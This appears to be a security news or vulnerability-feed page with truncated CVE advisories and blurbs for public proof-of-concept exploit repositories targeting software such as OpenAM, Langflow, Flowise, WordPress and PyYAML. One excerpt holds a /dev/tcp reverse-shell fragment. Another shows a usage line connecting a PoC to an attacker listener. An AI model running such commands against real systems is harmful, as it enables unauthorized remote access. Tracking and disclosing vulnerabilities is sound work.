CVE-2026-105158: Improper Neutralization of Special Elements used in an SQL Command

A vulnerability was detected in RainyGao DocSys up to 2.02.85. The impacted element is the function BaseController.createDBForMysql of the file BaseController.java of the component Database Management. The manipulation of the argument url results in sql injection. The attack can be executed...

PT-2026-104615

Name of the Vulnerable Software and Affected Versions Unlimited Elements For Elementor versions prior to 2.0.21 Description Unlimited Elements for Elementor contains a blind SQL injection flaw. This issue allows unauthenticated remote attackers to extract arbitrary database records by failing to...

Nebula AI-Powered Penetration Testing 0.1.0

Nebula is an advanced, AI-powered penetration testing open-source tool that revolutionizes penetration testing by integrating state-of-the-art AI models into your command-line interface. Designed for cybersecurity professionals, ethical hackers, and developers, Nebula automates vulnerability...

CVE-2026-105166: Improper Neutralization of Special Elements used in an SQL Command

A vulnerability was found in kishor-23 food-waste-management-system 411989e3ecb82895e53dca7865f72145f03d7d93/b3a70b2c492dc9904de5be1ad9389bd79b87f82c. The affected element is the function insert of the file fooddonateform.php of the component Food Donation Form. Performing a manipulation of the...

CVE-2026-103355: Improper Neutralization of Special Elements used in an SQL Command

Improper Neutralization of Special Elements used in an SQL Command 'SQL Injection' vulnerability in Unlimited Elements Unlimited Elements For Elementor Free Widgets, Addons, Templates unlimited-elements-for-elementor allows Blind SQL Injection.This issue affects Unlimited Elements For Elementor...

CVE-2026-105134: Improper Neutralization of Special Elements used in an OS Command

A flaw has been found in Ahsay AhsayCBS up to 10.3.2. This vulnerability affects unknown code of the file /rps/api/json/UpdateReceivers.do of the component Replication Receiver. Executing a manipulation of the argument random can lead to os command injection. It is possible to launch the attack...

openSUSE 16: jline3 / jline3-builtins / jline3-console / jline3-console-ui / etc (openSUSE-SU-2026:22009-1)

The remote openSUSE 16 host has packages installed that are affected by a vulnerability as referenced in the openSUSE- SU-2026:22009-1 advisory. This update for jline3 fixes the following issue: Update to upstream version 3.30.17: Security Fixes + Native Stack Buffer Overflow in Public...

cve-2025-61882-oracle_ebs_rce_reproduction

CVE-2025-61882 — Exécution de code à distance non authentifiée dans Oracle E-Business Suite CVSS 9.8 CRITIQUE Vue d'ensemble CVE-2025-61882 est une vulnérabilité d'exécution de code à distance non authentifiée dans Oracle E-Business Suite EBS, affectant les composants Concurrent Processing et BI...

CVE-2026-63030-CVE-2026-60137-wp2shell-poc

wp2shell — إثبات مفهوم PoC لثغرة حقن SQL الأعمى القائم على الوقت في WordPress REST API → تنفيذ أكواد عن بُعد RCE الوصف pocwptot.py هو إثبات مفهوم PoC لاستغلال ثغرة حقن SQL الأعمى القائم على الوقت time‑based blind SQL injection في نقطة نهاية الدُفعات batch الخاصة بـ WordPress REST API، وتنفيذ سلسل...

CVE-2026-10520-10523

CVE-2026-10520, CVE-2026-10523 Ivanti Sentry ⚡ Utilisation simple Utilisez ce projet uniquement dans des environnements sûrs et autorisés tels que : Machines virtuelles locales Conteneurs Docker Configurations de laboratoire isolées Environnements de test d'intrusion autorisés Exemple...

CVE-2026-34197

CVE-2026-34197 - Apache ActiveMQ RCE via Jolokia 1. Aperçu Élément| Détails ---|--- CVE ID| CVE-2026-34197 CVSS| 8.8 ÉLEVÉ Type de vulnérabilité| Exécution de code à distance RCE CWE| CWE-20 Validation incorrecte des entrées / CWE-94 Injection de code Composant affecté| Apache ActiveMQ Classic -...

CVE-2026-33439-PoC

CVE-2026-33439 — RCE pré-authentification dans OpenAM Exécution de code à distance avant authentification dans OpenIdentityPlatform OpenAM = 16.0.5 via une désérialisation Java non sécurisée du paramètre jato.clientSession CVSS 9.8. Pour des tests de sécurité autorisés uniquement. Démarrage rapid...

CVE-2026-33017-langflow-rce

CVE-2026-33017 - Langflow Unauthenticated Remote Code Execution RCE Overview CVE ID: CVE-2026-33017 Affected Software: Langflow Vulnerable Versions: = 1.9.0 Severity: Critical Author: arensballiu Date: 2026 Description Langflow exposes a public flow build endpoint /api/v1/buildpublictmp/flowID/fl...

hpim-training-lab

hpim-training-lab HPIM Training-Case Replication Lab Citable release Zenodo: DOI 10.5281/zenodo.22868247 — license CC-BY 4.0. This repository contains a fully containerized replication of the training scenario described in OpenAI's official technical report on the Hugging Face incident, used to...

Flowise-RCE-CVE-2025-59528

CVE-2025-59528 - Flowise AI Authenticated Remote Code Execution RCE Overview CVE ID: CVE-2025-59528 Affected Software: Flowise AI Vulnerable Versions: = 3.0.4 Fixed Version: 3.0.5 and later Severity: Critical Author: arensballiu Date: 2025 Description Flowise AI versions up to and including 3.0.4...

CVE-2020-14343-PyYAML

CVE-2020-14343 PyYAML ثغرة إلغاء التسلسل POC نظرة عامة على الثغرة العنصر| المعلومات ---|--- رقم CVE| CVE-2020-14343 المكون المتأثر| PyYAML مثال: python poc.py http://vulnerable-site.com 192.168.1.100 4444 خطوات الهجوم 1. يقوم النص البرمجي بتشغيل مستمع TCP محلي 2. رفع ملف YAML ضار إلى نقطة النهاية...

CVE-2023-20198

CVE-2023-20198 استغلال PoC لـ CVE-2023-20198 الوصف تتميز CVE-2023-20198 بوجود تحقق غير صحيح من المسار للالتفاف على تصفية Nginx للوصول إلى نقطة نهاية الويب webuiwsmahttp دون الحاجة إلى مصادقة. من خلال تجاوز المصادقة إلى نقطة النهاية، يمكن للمهاجم تنفيذ أوامر Cisco IOS عشوائية أو إصدار تغييرات في...

CVE-2018-14324-Exploit

Piratage d'Eclipse GlassFish - CVE-2018-14324 La description de la CVE-2018-14324 n'explique pas pleinement l'impact de cette vulnérabilité. En bref : vous avez accès à Java Management Extensions JMX via des identifiants codés en dur admin:admin. Bien que l'impact soit décrit comme «...

CVE-2026-33439-Poc

CVE-2026-33439 RCE pré-authentification dans OpenIdentityPlatform OpenAM via une désérialisation Java non sécurisée du paramètre jato.clientSession. Affecté & /dev/tcp/HOST/PORT 0&1' La sortie est aveugle. La requête se bloque jusqu'à ce que la commande se termine, donc le timing confirme...

CVE-2024-40110

نظام إدارة مزرعة الدواجن الإصدار 1.0 - استغلال تنفيذ الأوامر عن بعد RCE نوع الثغرة رفع ملفات غير موثوق دون مصادقة مع تنفيذ أوامر عن بعد الوصف يحتوي نظام إدارة مزرعة الدواجن الإصدار 1.0 على ثغرة أمنية حرجة في وظيفة رفع المنتجات. يفشل التطبيق في التحقق من صحة ملفات الرفع وتنقيتها بشكل صحيح، مما يسم...